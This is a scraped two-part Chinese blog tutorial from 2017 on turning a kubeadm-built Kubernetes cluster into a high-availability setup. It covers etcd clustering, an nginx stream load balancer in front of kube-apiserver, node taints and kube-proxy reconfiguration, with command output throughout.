wudang Ready 1d v1.6.2 beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,kubernetes.io/hostname=wudang,node-role.kubernetes.io/master= 再创建nginx pod，我们发现pod依旧分配在wudang、emei两个node上:\nNAMESPACE NAME READY STATUS RESTARTS AGE IP NODE default my-nginx-2267614806-cmmkh 1/1 Running 0 5s 172.32.64.0 emei default my-nginx-2267614806-ld1dr 1/1 Running 0 5s 172.32.192.1 wudang 我们进一步查看并对比相关信息：\n查看clustre-info：\nwuddang node: root@wudang:~/demo# kubectl cluster-info Kubernetes master is running at https://10.24.138.208:6443 //wudang node: KubeDNS is running at https://10.24.138.208:6443/api/v1/proxy/namespaces/kube-system/services/kube-dns shaolin node: root@shaolin:~/k8s-install/demo# kubectl cluster-info Kubernetes master is running at https://10.27.53.32:6443 KubeDNS is running at https://10.27.53.32:6443/api/v1/proxy/namespaces/kube-system/services/kube-dns 查看详细node信息：\nroot@wudang:~# kubectl describe node/shaolin Name: shaolin Role: Labels: beta.kubernetes.io/arch=amd64 beta.kubernetes.io/os=linux kubernetes.io/hostname=shaolin node-role.kubernetes.io/master= Annotations: node.alpha.kubernetes.io/ttl=0 volumes.kubernetes.io/controller-managed-attach-detach=true Taints: node-role.kubernetes.io/master:NoSchedule root@wudang:~# kubectl describe node/wudang Name: wudang Role: Labels: beta.kubernetes.io/arch=amd64 beta.kubernetes.io/os=linux kubernetes.io/hostname=wudang node-role.kubernetes.io/master= Annotations: node.alpha.kubernetes.io/ttl=0 volumes.kubernetes.io/controller-managed-attach-detach=true Taints: \u0026lt;none\u0026gt; 我们看到，在Taints属性里，shaolin node的值为 node-role.kubernetes.io/master:NoSchedule，而wudang node的为空。初步猜测这就是wudang被分配pod的原因了。\n我们设置wudang node的Taints属性：\nroot@wudang:~# kubectl taint nodes wudang node-role.kubernetes.io/master=:NoSchedule node \u0026quot;wudang\u0026quot; tainted root@wudang:~# kubectl describe node/wudang|more Name: wudang Role: Labels: beta.kubernetes.io/arch=amd64 beta.kubernetes.io/os=linux kubernetes.io/hostname=wudang node-role.kubernetes.io/master= Annotations: node.alpha.kubernetes.io/ttl=0 volumes.kubernetes.io/controller-managed-attach-detach=true Taints: node-role.kubernetes.io/master:NoSchedule 再创建nginx deployment:\nroot@wudang:~/demo# pods\nNAMESPACE NAME READY STATUS RESTARTS AGE IP NODE\ndefault my-nginx-2267614806-hmz5d 1/1 Running 0 14s 172.32.64.0 emei\ndefault my-nginx-2267614806-kkt79 1/1 Running 0 14s 172.32.64.1 emei\n发现pod全部分配到emei上了！\n接下来按同样操作对emei的taints属性进行设置，这里就不赘述了。\n到目前为止，整个k8s cluster的状态如下示意图：\n七、第六步：Load Balance Kubernetes HA cluster的建立得益于kube-apiserver的无状态，按照最终目标，在三个kube-apiserver的前面是要假设一个负载均衡器的。考虑到apiserver对外通过https暴露服务，在七层做lb需要将证书配置在lb上，这改动较大；这里我们用四层lb。在这里，我们仅是搭建一个简易的demo性质的基于nginx的四层lb，在生产环境，如果你有硬件lb或者你所在的cloud provider提供类似lb服务，可以直接使用。\n演示方便起见，我直接在emei上安装一个nginx（注意一定要安装支持–with-stream支持的nginx，可以通过-V查看）:\nroot@emei:~# nginx -V nginx version: nginx/1.10.3 (Ubuntu) built with OpenSSL 1.0.2g 1 Mar 2016 TLS SNI support enabled configure arguments: --with-cc-opt='-g -O2 -fPIE -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2' --with-ld-opt='-Wl,-Bsymbolic-functions -fPIE -pie -Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_addition_module --with-http_dav_module --with-http_geoip_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_image_filter_module --with-http_v2_module --with-http_sub_module --with-http_xslt_module --with-stream --with-stream_ssl_module --with-mail --with-mail_ssl_module --with-threads 我这里直接修改nginx的默认配置文件：/etc/nginx/nginx.conf，添加如下配置：\n// /etc/nginx/nginx.conf ... ... stream { upstream apiserver { server 10.27.53.32:6443 weight=5 max_fails=3 fail_timeout=30s; server 10.24.138.208:6443 weight=5 max_fails=3 fail_timeout=30s; server 10.27.52.72:6443 weight=5 max_fails=3 fail_timeout=30s; } server { listen 8443; proxy_connect_timeout 1s; proxy_timeout 3s; proxy_pass apiserver; } } ... ... nginx -s reload后，配置生效！\n我们用wudang上的kubectl来访问一下lb，我们先来做一下配置\nroot@wudang:~# cp /etc/kubernetes/admin.conf ./ root@wudang:~# mv admin.conf admin-lb.conf root@wudang:~# vi admin-lb.conf 修改admin-lb.conf中的： server: https://10.27.52.72:8443 export KUBECONFIG=~/admin-lb.conf 执行下面命令：\nroot@wudang:~# kubectl get pods -n kube-system Unable to connect to the server: x509: certificate is valid for 10.96.0.1, 10.27.53.32, not 10.27.52.72 root@wudang:~# kubectl get pods -n kube-system Unable to connect to the server: x509: certificate is valid for 10.24.138.208, not 10.27.52.72 可以看到上述两个请求被lb分别转到了shaolin和wudang两个node的apiserver上，客户端在校验server端发送的证书时认为server端”有诈“，于是报了错！怎么解决呢？在上面我们为每个apiserver生成apiserver.crt时，我们在subject alternative name值中填写了多个域名，我们用域名来作为client端访问的目的地址，再来看看：\n修改~/admin-lb.conf中的： server: https://kubernetes.default.svc:8443 在wudang node的/etc/hosts中添加：\n10.27.52.72 kubernetes.default.svc 再访问集群：\nroot@wudang:~# kubectl get pods -n kube-system NAME READY STATUS RESTARTS AGE etcd-emei 1/1 Running 0 1d etcd-shaolin 1/1 Running 0 1d etcd-wudang 1/1 Running 0 4d kube-apiserver-emei 1/1 Running 0 1d ... ... 这里只是一个demo，在您自己的环境里如何将lb与apiserver配合在一起，方法有很多种，需要根据实际情况具体确定。\n到目前为止，整个k8s cluster的状态如下示意图：\n八、第七步：kube-proxy配置修改 kube-proxy是一个由一个daemonset创建的：\nroot@wudang:~# kubectl get ds -n kube-system NAME DESIRED CURRENT READY UP-TO-DATE AVAILABLE NODE-SELECTOR AGE kube-proxy 3 3 3 3 3 \u0026lt;none\u0026gt; 5d 并且kube-proxy的配置是由一个configmap提供的，并未在外部留有修改的口，比如类似kube-scheduler.yaml或.conf那样：\nroot@shaolin:~# kubectl get configmap -n kube-system NAME DATA AGE kube-proxy 1 5d root@shaolin:~# kubectl get configmap/kube-proxy -n kube-system -o yaml apiVersion: v1 data: kubeconfig.conf: | apiVersion: v1 kind: Config clusters: - cluster: certificate-authority: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt server: https://10.27.53.32:6443 name: default contexts: - context: cluster: default namespace: default user: default name: default current-context: default users: - name: default user: tokenFile: /var/run/secrets/kubernetes.io/serviceaccount/token kind: ConfigMap metadata: creationTimestamp: 2017-05-10T01:48:28Z labels: app: kube-proxy name: kube-proxy namespace: kube-system resourceVersion: \u0026quot;81\u0026quot; selfLink: /api/v1/namespaces/kube-system/configmaps/kube-proxy uid: c34f7d5f-3522-11e7-8f77-00163e000c7f 在这个默认的configmap中，kube-proxy连接的cluster的server地址硬编码为 https://10.27.53.32:6443，即shaolin node上apiserver的公共接口地址。这样一旦shaolin node宕掉了，其他node上的kube-proxy将无法连接到apiserver进行正常操作。而kube-proxy pod自身又是使用的是host network，因此我们需要将server地址配置为lb的地址，这样保证各node上kube-proxy的高可用。\n我们根据上述输出的configmap的内容进行修改，并更新kube-proxy-configmap的内容：\nroot@shaolin:~# kubectl get configmap/kube-proxy -n kube-system -o yaml \u0026gt; kube-proxy-configmap.yaml 修改kube-proxy-configmap.yaml中的server为： server: https://kubernetes.default.svc:6443 保存并更新configmap: kube-proxy： root@shaolin:~# kubectl apply -f kube-proxy-configmap.yaml Warning: kubectl apply should be used on resource created by either kubectl create --save-config or kubectl apply configmap \u0026quot;kube-proxy\u0026quot; configured root@shaolin:~# kubectl get configmap/kube-proxy -n kube-system -o yaml apiVersion: v1 data: kubeconfig.conf: | apiVersion: v1 kind: Config clusters: - cluster: certificate-authority: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt server: https://kubernetes.default.svc:6443 name: default ... ... 重启kube-proxy(kubectl delete pods/kube-proxy-xxx -n kube-system)后，查看kube-proxy的日志：\nroot@shaolin:~# kubectl logs -f kube-proxy-h5sg8 -n kube-system I0515 13:57:03.526032 1 server.go:225] Using iptables Proxier. W0515 13:57:03.621532 1 proxier.go:298] clusterCIDR not specified, unable to distinguish between internal and external traffic I0515 13:57:03.621578 1 server.go:249] Tearing down userspace rules. I0515 13:57:03.738015 1 conntrack.go:81] Set sysctl 'net/netfilter/nf_conntrack_max' to 131072 I0515 13:57:03.741824 1 conntrack.go:66] Setting conntrack hashsize to 32768 I0515 13:57:03.742555 1 conntrack.go:81] Set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_established' to 86400 I0515 13:57:03.742731 1 conntrack.go:81] Set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_close_wait' to 3600 九、小结 到这里，我们在第一部分中的最终思路方案已经实现了。不过这两篇文章对kubernetes ha cluster的打造还仅限于探索阶段，可能还有一些深层次的问题没有暴露出来，因此不建议在生产环境中采用。kubeadm在后续的版本中必然加入对k8s ha cluster的支持，那个时候，搭建一套可用于生产环境的HA cluster将不再这么麻烦了！\n","permalink":"https://tonybai.com/2017/05/15/setup-a-ha-kubernetes-cluster-based-on-kubeadm-part2/","summary":"\u003cp\u003e续接\u003ca href=\"http://tonybai.com/2017/05/15/setup-a-ha-kubernetes-cluster-based-on-kubeadm-part1/\"\u003e上文\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"五第三步启动emeiwudang上的apiserver\"\u003e五、第三步：启动emei、wudang上的apiserver\u003c/h2\u003e\n\u003cp\u003e跨三个node的etcd cluster已经建成并完成了数据同步，下面进行ha cluster改造的重要一步：启动wudang、emei上的apiserver\u003c/p\u003e","title":"一步步打造基于Kubeadm的高可用Kubernetes集群-第二部分"},{"content":"Kubernetes集群的核心是其master node，但目前默认情况下master node只有一个，一旦master node出现问题，Kubernetes集群将陷入“瘫痪”，对集群的管理、Pod的调度等均将无法实施，即便此时某些用户的Pod依旧可以正常运行。这显然不能符合我们对于运行于生产环境下的Kubernetes集群的要求，我们需要一个高可用的Kubernetes集群。\n不过，目前Kubernetes官方针对构建高可用(high-availability)的集群的支持还是非常有限的，只是针对少数cloud-provider提供了粗糙的部署方法，比如：使用kube-up.sh脚本在GCE上、使用kops在AWS上等等。\n高可用Kubernetes集群是Kubernetes演进的必然方向，官方在“Building High-Availability Clusters”一文中给出了当前搭建HA cluster的粗略思路。Kubeadm也将HA列入了后续版本的里程碑计划，并且已经出了一版使用kubeadm部署高可用cluster的方法提议草案。\n在kubeadm没有真正支持自动bootstrap的HA Kubernetes cluster之前，如果要搭建一个HA k8s cluster，我们应该如何做呢？本文将探索性地一步一步的给出打造一个HA K8s cluster的思路和具体步骤。不过需要注意的是：这里搭建的HA k8s cluser仅在实验室中测试ok，还并未在生产环境中run过，因此在某些未知的细节方面可能存在思路上的纰漏。\n一、测试环境 高可用Kubernetes集群主要就是master node的高可用，因此，我们申请了三台美国西部区域的阿里云ECS作为三个master节点。通过hostnamectl将这三个节点的static hostname分别改为shaolin、wudang和emei：\nshaolin: 10.27.53.32 wudang: 10.24.138.208 emei: 10.27.52.72 三台主机运行的都是Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-63-generic x86_64)，使用root用户。\nDocker版本如下：\nroot@shaolin:~# docker version Client: Version: 17.03.1-ce API version: 1.27 Go version: go1.7.5 Git commit: c6d412e Built: Mon Mar 27 17:14:09 2017 OS/Arch: linux/amd64 Server: Version: 17.03.1-ce API version: 1.27 (minimum version 1.12) Go version: go1.7.5 Git commit: c6d412e Built: Mon Mar 27 17:14:09 2017 OS/Arch: linux/amd64 Experimental: false Ubuntu上Docker CE版本的安装步骤可以参看这里，由于我的服务器在美西，因此不存在”墙”的问题。对于主机在国内的朋友，你需要根据安装过程中是否输出错误日志自行决定是否需要配置一个加速器。另外，这里用的docker版本有些新，Kubernetes官网上提及最多的、兼容最好的还是docker 1.12.x版本，你也可以直接安装这个版本。\n二、Master节点高可用的思路 通过对single-master node的探索，我们知道master节点上运行着如下几个Kubernetes组件：\nkube-apiserver：集群核心，集群API接口、集群各个组件通信的中枢；集群安全控制； etcd：集群的数据中心； kube-scheduler：集群Pod的调度中心； kube-controller-manager：集群状态管理器，当集群状态与期望不同时，kcm会努力让集群恢复期望状态，比如：当一个pod死掉，kcm会努力新建一个pod来恢复对应replicas set期望的状态； kubelet: kubernetes node agent，负责与node上的docker engine打交道； kubeproxy: 每个node上一个，负责service vip到endpoint pod的流量转发，当前主要通过设置iptables规则实现。 Kubernetes集群的高可用就是master节点的高可用，master节点的高可用归根结底就是上述这些运行于master node上的组件的高可用。因此，我们的思路就是考量如何让这些组件高可用起来！综合Kubernetes官方提供的资料以及一些proposal draft，我们知道完全从头搭建的hard way形式似乎不甚理智^0^，将一个由kubeadm创建的k8s cluster改造为一个ha的k8s cluster似乎更可行。下面是我的思路方案：\n前面提到过，我们的思路是基于kubeadm启动的kubernetes集群，通过逐步修改配置或替换，形成最终HA的k8s cluster。上图是k8s ha cluster的最终图景，我们可以看到：\nkube-apiserver：得益于apiserver的无状态，每个master节点的apiserver都是active的，并处理来自Load Balance分配过来的流量； etcd：状态的集中存储区。通过将多个master节点上的etcd组成一个etcd集群，使得apiserver共享集群状态和数据； kube-controller-manager：kcm自带leader-elected功能，多个master上的kcm构成一个集群，但只有被elected为leader的kcm在工作。每个master节点上的kcm都连接本node上的apiserver； kube-scheduler：scheduler自带leader-elected功能，多个master上的scheduler构成一个集群，但只有被elected为leader的scheduler在工作。每个master节点上的scheduler都连接本node上的apiserver； kubelet: 由于master上的各个组件均以container的形式呈现，因此不承担workload的master节点上的kubelet更多是用来管理这些master组件容器。每个master节点上的kubelet都连接本node上的apiserver； kube-proxy: 由于master节点不承载workload，因此master节点上的kube-proxy同样仅服务于一些特殊的服务，比如: kube-dns等。由于kubeadm下kube-proxy没有暴露出可供外部调整的配置，因此kube-proxy需要连接Load Balance暴露的apiserver的端口。 接下来，我们就来一步步按照我们的思路，对kubeadm启动的single-master node k8s cluster进行改造，逐步演进到我们期望的ha cluster状态。\n三、第一步：使用kubeadm安装single-master k8s cluster 距离第一次使用kubeadm安装kubernetes 1.5.1集群已经有一些日子了，kubernetes和kubeadm都有了一些变化。当前kubernetes和kubeadm的最新release版都是1.6.2版本：\nroot@wudang:~# kubeadm version kubeadm version: version.Info{Major:\u0026quot;1\u0026quot;, Minor:\u0026quot;6\u0026quot;, GitVersion:\u0026quot;v1.6.2\u0026quot;, GitCommit:\u0026quot;477efc3cbe6a7effca06bd1452fa356e2201e1ee\u0026quot;, GitTreeState:\u0026quot;clean\u0026quot;, BuildDate:\u0026quot;2017-04-19T20:22:08Z\u0026quot;, GoVersion:\u0026quot;go1.7.5\u0026quot;, Compiler:\u0026quot;gc\u0026quot;, Platform:\u0026quot;linux/amd64\u0026quot;} root@wudang:~# docker images REPOSITORY TAG IMAGE ID CREATED SIZE gcr.io/google_containers/kube-proxy-amd64 v1.6.2 7a1b61b8f5d4 3 weeks ago 109 MB gcr.io/google_containers/kube-controller-manager-amd64 v1.6.2 c7ad09fe3b82 3 weeks ago 133 MB gcr.io/google_containers/kube-apiserver-amd64 v1.6.2 e14b1d5ee474 3 weeks ago 151 MB gcr.io/google_containers/kube-scheduler-amd64 v1.6.2 b55f2a2481b9 3 weeks ago 76.8 MB ... ... 虽然kubeadm版本有更新，但安装过程没有太多变化，这里仅列出一些关键步骤，一些详细信息输出就在这里省略了。\n我们先在shaolin node上安装相关程序文件：\nroot@shaolin:~# apt-get update \u0026amp;\u0026amp; apt-get install -y apt-transport-https root@shaolin:~# curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add - OK root@shaolin:~# cat \u0026lt;\u0026lt;EOF \u0026gt;/etc/apt/sources.list.d/kubernetes.list \u0026gt; deb http://apt.kubernetes.io/ kubernetes-xenial main \u0026gt; EOF root@shaolin:~# apt-get update root@shaolin:~# apt-get install -y kubelet kubeadm kubectl kubernetes-cni 接下来，使用kubeadm启动集群。注意：由于在aliyun上flannel 网络插件一直不好用，这里还是使用weave network。\nroot@shaolin:~/k8s-install# kubeadm init --apiserver-advertise-address 10.27.53.32 [kubeadm] WARNING: kubeadm is in beta, please do not use it for production clusters. [init] Using Kubernetes version: v1.6.2 [init] Using Authorization mode: RBAC [preflight] Running pre-flight checks [preflight] WARNING: docker version is greater than the most recently validated version. Docker version: 17.03.1-ce. Max validated version: 1.12 [preflight] Starting the kubelet service [certificates] Generated CA certificate and key. [certificates] Generated API server certificate and key. [certificates] API Server serving cert is signed for DNS names [shaolin kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local] and IPs [10.96.0.1 10.27.53.32] [certificates] Generated API server kubelet client certificate and key. [certificates] Generated service account token signing key and public key. [certificates] Generated front-proxy CA certificate and key. [certificates] Generated front-proxy client certificate and key. [certificates] Valid certificates and keys now exist in \u0026quot;/etc/kubernetes/pki\u0026quot; [kubeconfig] Wrote KubeConfig file to disk: \u0026quot;/etc/kubernetes/admin.conf\u0026quot; [kubeconfig] Wrote KubeConfig file to disk: \u0026quot;/etc/kubernetes/kubelet.conf\u0026quot; [kubeconfig] Wrote KubeConfig file to disk: \u0026quot;/etc/kubernetes/controller-manager.conf\u0026quot; [kubeconfig] Wrote KubeConfig file to disk: \u0026quot;/etc/kubernetes/scheduler.conf\u0026quot; [apiclient] Created API client, waiting for the control plane to become ready [apiclient] All control plane components are healthy after 17.045449 seconds [apiclient] Waiting for at least one node to register [apiclient] First node has registered after 5.008588 seconds [token] Using token: a8dd42.afdb86eda4a8c987 [apiconfig] Created RBAC rules [addons] Created essential addon: kube-proxy [addons] Created essential addon: kube-dns Your Kubernetes master has initialized successfully! To start using your cluster, you need to run (as a regular user): sudo cp /etc/kubernetes/admin.conf $HOME/ sudo chown $(id -u):$(id -g) $HOME/admin.conf export KUBECONFIG=$HOME/admin.conf You should now deploy a pod network to the cluster. Run \u0026quot;kubectl apply -f [podnetwork].yaml\u0026quot; with one of the options listed at: http://kubernetes.io/docs/admin/addons/ You can now join any number of machines by running the following on each node as root: kubeadm join --token abcdefghijklmn 10.27.53.32:6443 root@shaolin:~/k8s-install# pods NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE kube-system etcd-shaolin 1/1 Running 0 34s 10.27.53.32 shaolin kube-system kube-apiserver-shaolin 1/1 Running 0 35s 10.27.53.32 shaolin kube-system kube-controller-manager-shaolin 1/1 Running 0 23s 10.27.53.32 shaolin kube-system kube-dns-3913472980-tkr91 0/3 Pending 0 1m \u0026lt;none\u0026gt; kube-system kube-proxy-bzvvk 1/1 Running 0 1m 10.27.53.32 shaolin kube-system kube-scheduler-shaolin 1/1 Running 0 46s 10.27.53.32 shaolin k8s 1.6.2版本的weave network的安装与之前稍有不同，因为k8s 1.6启用了更为安全的机制，默认采用RBAC对运行于cluster上的workload进行有限授权。我们要使用的weave network plugin的yaml为weave-daemonset-k8s-1.6.yaml：\nroot@shaolin:~/k8s-install# kubectl apply -f https://git.io/weave-kube-1.6 clusterrole \u0026quot;weave-net\u0026quot; created serviceaccount \u0026quot;weave-net\u0026quot; created clusterrolebinding \u0026quot;weave-net\u0026quot; created daemonset \u0026quot;weave-net\u0026quot; created 如果你的weave pod启动失败且原因类似如下日志：\nNetwork 172.30.0.0/16 overlaps with existing route 172.16.0.0/12 on host. 你需要修改你的weave network的 IPALLOC_RANGE(这里我使用了172.32.0.0/16)：\n//weave-daemonset-k8s-1.6.yaml ... ... spec: template: metadata: labels: name: weave-net spec: hostNetwork: true hostPID: true containers: - name: weave env: - name: IPALLOC_RANGE value: 172.32.0.0/16 ... ... master安装ok后，我们将wudang、emei两个node作为k8s minion node，来测试一下cluster的搭建是否是正确的，同时这一过程也在wudang、emei上安装上了kubelet和kube-proxy，这两个组件在后续的“改造”过程中是可以直接使用的：\n以emei node为例： root@emei:~# kubeadm join --token abcdefghijklmn 10.27.53.32:6443 [kubeadm] WARNING: kubeadm is in beta, please do not use it for production clusters. [preflight] Running pre-flight checks [preflight] WARNING: docker version is greater than the most recently validated version. Docker version: 17.03.1-ce. Max validated version: 1.12 [preflight] Starting the kubelet service [discovery] Trying to connect to API Server \u0026quot;10.27.53.32:6443\u0026quot; [discovery] Created cluster-info discovery client, requesting info from \u0026quot;https://10.27.53.32:6443\u0026quot; [discovery] Cluster info signature and contents are valid, will use API Server \u0026quot;https://10.27.53.32:6443\u0026quot; [discovery] Successfully established connection with API Server \u0026quot;10.27.53.32:6443\u0026quot; [bootstrap] Detected server version: v1.6.2 [bootstrap] The server supports the Certificates API (certificates.k8s.io/v1beta1) [csr] Created API client to obtain unique certificate for this node, generating keys and certificate signing request [csr] Received signed certificate from the API server, generating KubeConfig... [kubeconfig] Wrote KubeConfig file to disk: \u0026quot;/etc/kubernetes/kubelet.conf\u0026quot; Node join complete: * Certificate signing request sent to master and response received. * Kubelet informed of new secure connection details. Run 'kubectl get nodes' on the master to see this machine join. 建立一个多pod的nginx服务，测试一下集群网络是否通！这里就不赘述了。\n安装后的single-master kubernetes cluster的状态就如下图所示：\n四、第二步：搭建etcd cluster for ha k8s cluster k8s集群状态和数据都存储在etcd中，高可用的k8s集群离不开高可用的etcd cluster。我们需要为最终的ha k8s cluster提供一个ha的etcd cluster，如何做呢？\n当前k8s cluster中，shaolin master node上的etcd存储着k8s集群的所有数据和状态。我们需要在wudang和emei两个节点上也建立起etcd实例，与现存在 etcd共同构建成为高可用的且存储有cluster数据和状态的集群。我们将这一过程再细化为几个小步骤：\n0、在emei、wudang两个节点上启动kubelet服务 etcd cluster可以采用完全独立的、与k8s组件无关的建立方法。不过这里我采用的是和master一样的方式，即采用由wudang和emei两个node上kubelet启动的etcd作为etcd cluster的两个member。此时，wudang和emei两个node的角色是k8s minion node，我们需要首先清理一下这两个node的数据：\nroot@shaolin:~/k8s-install # kubectl drain wudang --delete-local-data --force --ignore-daemonsets node \u0026quot;wudang\u0026quot; cordoned WARNING: Ignoring DaemonSet-managed pods: kube-proxy-mxwp3, weave-net-03jbh; Deleting pods with local storage: weave-net-03jbh pod \u0026quot;my-nginx-2267614806-fqzph\u0026quot; evicted node \u0026quot;wudang\u0026quot; drained root@wudang:~# kubeadm reset [preflight] Running pre-flight checks [reset] Stopping the kubelet service [reset] Unmounting mounted directories in \u0026quot;/var/lib/kubelet\u0026quot; [reset] Removing kubernetes-managed containers [reset] No etcd manifest found in \u0026quot;/etc/kubernetes/manifests/etcd.yaml\u0026quot;, assuming external etcd. [reset] Deleting contents of stateful directories: [/var/lib/kubelet /etc/cni/net.d /var/lib/dockershim] [reset] Deleting contents of config directories: [/etc/kubernetes/manifests /etc/kubernetes/pki] [reset] Deleting files: [/etc/kubernetes/admin.conf /etc/kubernetes/kubelet.conf /etc/kubernetes/controller-manager.conf /etc/kubernetes/scheduler.conf] root@shaolin:~/k8s-install # kubectl drain emei --delete-local-data --force --ignore-daemonsets root@emei:~# kubeadm reset root@shaolin:~/k8s-install# kubectl delete node/wudang root@shaolin:~/k8s-install# kubectl delete node/emei 我们的小目标中：etcd cluster将由各个node上的kubelet自动启动；而kubelet则是由systemd在sys init时启动，且其启动配置如下：\nroot@wudang:~# cat /etc/systemd/system/kubelet.service.d/10-kubeadm.conf [Service] Environment=\u0026quot;KUBELET_KUBECONFIG_ARGS=--kubeconfig=/etc/kubernetes/kubelet.conf --require-kubeconfig=true\u0026quot; Environment=\u0026quot;KUBELET_SYSTEM_PODS_ARGS=--pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true\u0026quot; Environment=\u0026quot;KUBELET_NETWORK_ARGS=--network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin\u0026quot; Environment=\u0026quot;KUBELET_DNS_ARGS=--cluster-dns=10.96.0.10 --cluster-domain=cluster.local\u0026quot; Environment=\u0026quot;KUBELET_AUTHZ_ARGS=--authorization-mode=Webhook --client-ca-file=/etc/kubernetes/pki/ca.crt\u0026quot; ExecStart= ExecStart=/usr/bin/kubelet $KUBELET_KUBECONFIG_ARGS $KUBELET_SYSTEM_PODS_ARGS $KUBELET_NETWORK_ARGS $KUBELET_DNS_ARGS $KUBELET_AUTHZ_ARGS $KUBELET_EXTRA_ARGS 我们需要首先在wudang和emei node上将kubelet启动起来，我们以wudang node为例：\nroot@wudang:~# systemctl enable kubelet root@wudang:~# systemctl start kubelet 查看kubelet service日志：\nroot@wudang:~# journalctl -u kubelet -f May 10 10:58:41 wudang systemd[1]: Started kubelet: The Kubernetes Node Agent. May 10 10:58:41 wudang kubelet[27179]: I0510 10:58:41.798507 27179 feature_gate.go:144] feature gates: map[] May 10 10:58:41 wudang kubelet[27179]: error: failed to run Kubelet: invalid kubeconfig: stat /etc/kubernetes/kubelet.conf: no such file or directory May 10 10:58:41 wudang systemd[1]: kubelet.service: Main process exited, code=exited, status=1/FAILURE May 10 10:58:41 wudang systemd[1]: kubelet.service: Unit entered failed state. May 10 10:58:41 wudang systemd[1]: kubelet.service: Failed with result 'exit-code'. kubelet启动失败，因为缺少/etc/kubernetes/kubelet.conf这个配置文件。我们需要向shaolin node求援，我们需要将shaolin node上的同名配置文件copy到wudang和emei两个node下面，当然同时需要copy的还包括shaolin node上的/etc/kubernetes/pki目录：\nroot@wudang:~# kubectl --kubeconfig=/etc/kubernetes/kubelet.conf config view apiVersion: v1 clusters: - cluster: certificate-authority-data: REDACTED server: https://10.27.53.32:6443 name: kubernetes contexts: - context: cluster: kubernetes user: system:node:shaolin name: system:node:shaolin@kubernetes current-context: system:node:shaolin@kubernetes kind: Config preferences: {} users: - name: system:node:shaolin user: client-certificate-data: REDACTED client-key-data: REDACTED root@wudang:~# ls /etc/kubernetes/pki apiserver.crt apiserver-kubelet-client.crt ca.crt ca.srl front-proxy-ca.key front-proxy-client.key sa.pub apiserver.key apiserver-kubelet-client.key ca.key front-proxy-ca.crt front-proxy-client.crt sa.key systemctl daemon-reload; systemctl restart kubelet后，再查看kubelet service日志，你会发现kubelet起来了！\n以wudang node为例： root@wudang:~# journalctl -u kubelet -f -- Logs begin at Mon 2017-05-08 15:12:01 CST. -- May 11 10:37:07 wudang kubelet[26907]: I0511 10:37:07.213529 26907 factory.go:54] Registering systemd factory May 11 10:37:07 wudang kubelet[26907]: I0511 10:37:07.213674 26907 factory.go:86] Registering Raw factory May 11 10:37:07 wudang kubelet[26907]: I0511 10:37:07.213813 26907 manager.go:1106] Started watching for new ooms in manager May 11 10:37:07 wudang kubelet[26907]: I0511 10:37:07.216383 26907 oomparser.go:185] oomparser using systemd May 11 10:37:07 wudang kubelet[26907]: I0511 10:37:07.217415 26907 manager.go:288] Starting recovery of all containers May 11 10:37:07 wudang kubelet[26907]: I0511 10:37:07.285428 26907 manager.go:293] Recovery completed May 11 10:37:07 wudang kubelet[26907]: I0511 10:37:07.344425 26907 kubelet_node_status.go:230] Setting node annotation to enable volume controller attach/detach May 11 10:37:07 wudang kubelet[26907]: E0511 10:37:07.356188 26907 eviction_manager.go:214] eviction manager: unexpected err: failed GetNode: node 'wudang' not found May 11 10:37:07 wudang kubelet[26907]: I0511 10:37:07.358402 26907 kubelet_node_status.go:77] Attempting to register node wudang May 11 10:37:07 wudang kubelet[26907]: I0511 10:37:07.363083 26907 kubelet_node_status.go:80] Successfully registered node wudang 此时此刻，我们先让wudang、emei node上的kubelet先连着shaolin node上的apiserver。\n1、在emei、wudang两个节点上建立一个etcd cluster 我们以shaolin node上的/etc/kubernetes/manifests/etcd.yaml为蓝本，修改出wudang和emei上的etcd.yaml，主要的变化在于containers:command部分：\nwudang上的/etc/kubernetes/manifests/etcd.yaml： spec: containers: - command: - etcd - --name=etcd-wudang - --initial-advertise-peer-urls=http://10.24.138.208:2380 - --listen-peer-urls=http://10.24.138.208:2380 - --listen-client-urls=http://10.24.138.208:2379,http://127.0.0.1:2379 - --advertise-client-urls=http://10.24.138.208:2379 - --initial-cluster-token=etcd-cluster - --initial-cluster=etcd-wudang=http://10.24.138.208:2380,etcd-emei=http://10.27.52.72:2380 - --initial-cluster-state=new - --data-dir=/var/lib/etcd image: gcr.io/google_containers/etcd-amd64:3.0.17 emei上的/etc/kubernetes/manifests/etcd.yaml： spec: containers: - command: - etcd - --name=etcd-emei - --initial-advertise-peer-urls=http://10.27.52.72:2380 - --listen-peer-urls=http://10.27.52.72:2380 - --listen-client-urls=http://10.27.52.72:2379,http://127.0.0.1:2379 - --advertise-client-urls=http://10.27.52.72:2379 - --initial-cluster-token=etcd-cluster - --initial-cluster=etcd-emei=http://10.27.52.72:2380,etcd-wudang=http://10.24.138.208:2380 - --initial-cluster-state=new - --data-dir=/var/lib/etcd image: gcr.io/google_containers/etcd-amd64:3.0.17 将这两个文件分别放入各自node的/etc/kubernetes/manifests目录后，各自node上的kubelet将会自动将对应的etcd pod启动起来！\nroot@shaolin:~# pods NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE kube-system etcd-emei 1/1 Running 0 11s 10.27.52.72 emei kube-system etcd-shaolin 1/1 Running 0 25m 10.27.53.32 shaolin kube-system 